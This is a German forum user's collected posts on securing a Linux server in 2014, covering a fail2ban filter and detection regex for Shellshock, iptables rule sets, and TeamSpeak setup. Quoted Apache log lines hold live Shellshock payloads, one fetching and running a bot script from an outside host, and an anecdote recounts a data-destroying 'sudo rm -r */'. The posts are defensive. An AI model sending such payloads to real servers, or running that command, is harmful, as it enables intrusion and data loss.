Beiträge von Budy

Ich habe mich mal an Fail2ban gesetzt um unseren diesen Kidis den Spaß etwas zu versauen^^ und mithilfe 2 Blogbeiträge folgendes fertig gebaut:

Hier die Anleitung:

sudo nano /etc/fail2ban/filter.d/shellshock.conf

Dort folgendes definiert:

[Definition]
failregex  = <HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+
ignoreregex =

Nun nur noch in jail.local definieren:
Hier ist einige sicherung jedoch mit

sudo cp /etc/fail2ban/jail.local /etc/fail2ban/jail-sicherung

sehr sinnvoll, sodass man schnell wieder den alten Stand einpflegen kann.
Nun die jail.local für die neue Regel präparieren:

sudo nano /etc/fail2ban/jail.local

und in Bereich der
#
# HTTP servers
#
folgenden Eintrag vorgenommen:

[shellshock]
enabled = true
filter = shellshock
port = all
logpath = /var/log/apache2/*access.log
bantime = 86400
maxretry = 1

Dann fail2ban neu starten:

sudo service fail2ban restart

Anschließend die existierenden Logs testen:

sudo fail2ban-regex /var/log/apache2/access.log  /etc/fail2ban/filter.d/shellshock.conf

Meinung und weitere Testergebenisse währen nett^^

Der PI ist auch nicht besser als ein Server, er ist aktuell aber gut als Compile-Server Sklave...

Zitat von extremmichi

ich hab noch n viel besseren

Code

213.254.12.125 - - [28/Sep/2014:05:33:45 +0200] "GET / HTTP/1.0" 200 455 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""

Das würde mir noch weniger gefallen, vor allem da immer mehr Fehler auftauchen in den Bereich. Hier ist nun die Frage ob dass Skript wirklich geladen und ausgeführt wurde, da so wie ich es lese, es ausgeführt werden sollte und dann gelöscht werden sollte.

Ich persönlich habe nach download aller Log und Durchsuchung und bis auf Oberes nicht entdeckt und mich dann entschieden, meinen Server Temporär sogar Komplett abzuschalten, was dass erste mal war seit 2 Jahren.
Da mein Server bis auf meine Website, TS und einiger Testumgebung +Gitlab für meine eigenen Programme und manchmal auch nur als Compiler-Server dient, ist dies für mich für 2-3Wochen nicht so problematisch.
Obwohl ich zugebe, es war etwas drastisch die Entscheidung, jedoch nutzt Git eine eigene Bash, was als Lücke damit existiert.

Muss halt meine Raspberry Pi nun Überstunden schieben und ich sehe den Vorteil: In der VBOX auf meinen Rechner, läuft mein Server weiter und ich kann in Ruhe alles für Ubuntu 14.04.1 LTS vorbereiten.

Um mal wieder zur Bash zukommen^^ Mich erschreckt es dass es solange nicht aufgefallen ist.
Ich habe mein eigenes System mit Ubuntu 12.04.5 LTS auch abgesichert und auch die Test haben bei mir, Turing sei dank, auch gezeigt, dass es die abgesicherte Version ist.
Jedoch macht mich ein Log Eintrag nach den Update etwas Stutzig, ich habe es persönlich nicht so mit der Bash (Ziehe Z-Shell vor) und skripten und würde gerne fragen ob wer Schlau daraus wird. Was der Chinese (genaugenomen der Anschluss aus Singapor) da wollte. Vor allem warum ein OK von Server zurück kommt, obwohl der Apache kein CGI, CLI noch Curl aktiviert/Installiert hat.

[27/Sep/2014:00:09:50 +0200] "GET / HTTP/1.1" 200 2709 "-" "() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a"

Kann es sein das bei dir noch einen ts3server.pid aktiv ist? Wenn diese noch aktiv ist läuft für das Startskript der Server noch.

Zitat von definitiv

Das kannst du noch mit reinpacken:

Code

iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 8 -j DROP
iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --set
iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --update --seconds 15 --hitcount 15 -j DROP

Burst kannst du ja nach Bedarf anpassen.

Grüße

Alles anzeigen

Hi,

korrigiere mich wenn ich falsch liege habe gerade die Zeilen nur Überflogen, es scheint sich bei dir darum zugehen zuviele Anfragen in einer gewissen Zeit auf dem Port 80(HTTP) zu unterbinden(DDOS Schutz bzw Bruceforce), wenn ja finde ich die Idee sehr gut. Falls ich mich irre freue ich mich über die richtige Antwort

Mfg Daniel

Das Schönste, was ich bis jetzt hatte, war Gott sei Dank in einer virtuellen Maschine geschehen, ist aber schon 1-2 Jahre her. Ich weiß noch, dass ich an den Tag ziemlich verschlafen war, aber noch unbedingt den Inhalt eines Verzeichnis auf der Maschine löschen wollte.

Aber statt

rm -r verzeichnis/*

zu machen, kam ich auf die super Idee

sudo rm -r */

einzugeben.
Am nächsten Tag fragte ich mich, warum die VM nicht mehr reagierte...

Habe selber gerade ein paar Fehler gefunden und korrigiert.

Hallo zusammen,

ich habe mal eine kleine Bitte an euch, nämlich einmal über meine geplante iptables zu sehen und mir Fehler zu nennen oder Verbesserungsvorschläge.

Ich bedanke mich schon mal in Voraus.

iptables -F                      							#alle Regeln löschen
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT		#Bestehendeverbindungen erlauben
iptables -P INPUT DROP			 					#Policy für Tabelle filter, INPUT Chain
iptables -P OUTPUT ACCEPT			 				#Policy für Tabelle filter, OUTPUT Chain
iptables -P FORWARD DROP		 					#Policy für Tabelle filter, FORWARD Chain
iptables -A INPUT -i lo -j ACCEPT	 					#eingehende Kommunikation für lo (Localhost) zulassen
iptables -A OUTPUT -o lo -j ACCEPT	 					#ausgehende Kommunikation für lo (Localhost) zulassen
iptables -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT	#eingehende Paket für existierende Verbindungen zulassen
iptables -A OUTPUT -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT	#ausgehende Paket für existierende Verbindungen zulassen 
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT			#SSh Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 21 -j ACCEPT			#FTP Zulassen
iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 25 -j ACCEPT			#SMTP Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 80 -j ACCEPT			#Http Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 443 -j ACCEPT			#Https Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 10011 -j ACCEPT			#Teampeak Telnet Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 2008 -j ACCEPT			#Teamspeak Lizenzen Zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 30033 -j ACCEPT			#Teamspeak FTP zulassen
iptables -A INPUT -i eth0 -p tcp -m tcp --dport 25565 -j ACCEPT			#Minecraft Zulassen
iptables -A INPUT -i eth0 -p udp -m udp --dport 9987 -j ACCEPT			#Teamspeak  Zulassen
iptables -A INPUT -i eth0 -p udp -m udp --dport 9988 -j ACCEPT			#Teamspeak  Zulassen
iptables -A INPUT -i eth0 -p udp -m udp --dport 9989 -j ACCEPT			#Teamspeak  Zulassen
iptables -A INPUT -i eth0 -p udp -m udp --dport 9990 -j ACCEPT			#Teamspeak  Zulassen
iptables -A INPUT -i eth0 -p udp -m udp --dport 9991 -j ACCEPT			#Teamspeak  Zulassen
iptables -A INPUT -p icmp -m limit --limit 253/s --limit-burst 5 -j ACCEPT	#Beschränkung der Ping anfragen
#Ab hier Logoptionen
iptables -I INPUT 5 -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7
iptables-save									#Sichert die Iptabele auch nach reboot iptables-restore zum wiederherstellen

MFG Daniel

Ich habe leider das selben Problem. Das Hauptproblem, was er anscheinend hat, ist die das Starten und Stoppen von rsyslog bzw die Speicherung der Konfiguration. Auch ein Stoppen von rsyslog vor den Update schützt nicht davor.

Ich finde die App sehr gelungen was hier vielleicht noch fällt ist eine Neustart Möglichkeit für den Server und das man das Traffic Diagramm vergrößern kann ansonsten gute Arbeit.

Ich persönlich nutze TS3 seit langen auf Servern und bin sehr zufrieden, die neueren Versionen vor allem haben viele Sicherheitslücken geschlossen und solange man den Server richtig von den Servergruppen konfiguriert passiert auch nichts, vielleicht schreibe ich mal eine Anleitung für das Wiki.
Bereits die Standardeinstellung eines TS3 Servers sind rechte mäßig so, dass keiner was machen kann, solange er nicht von Serveradmin die Rechte bekommt.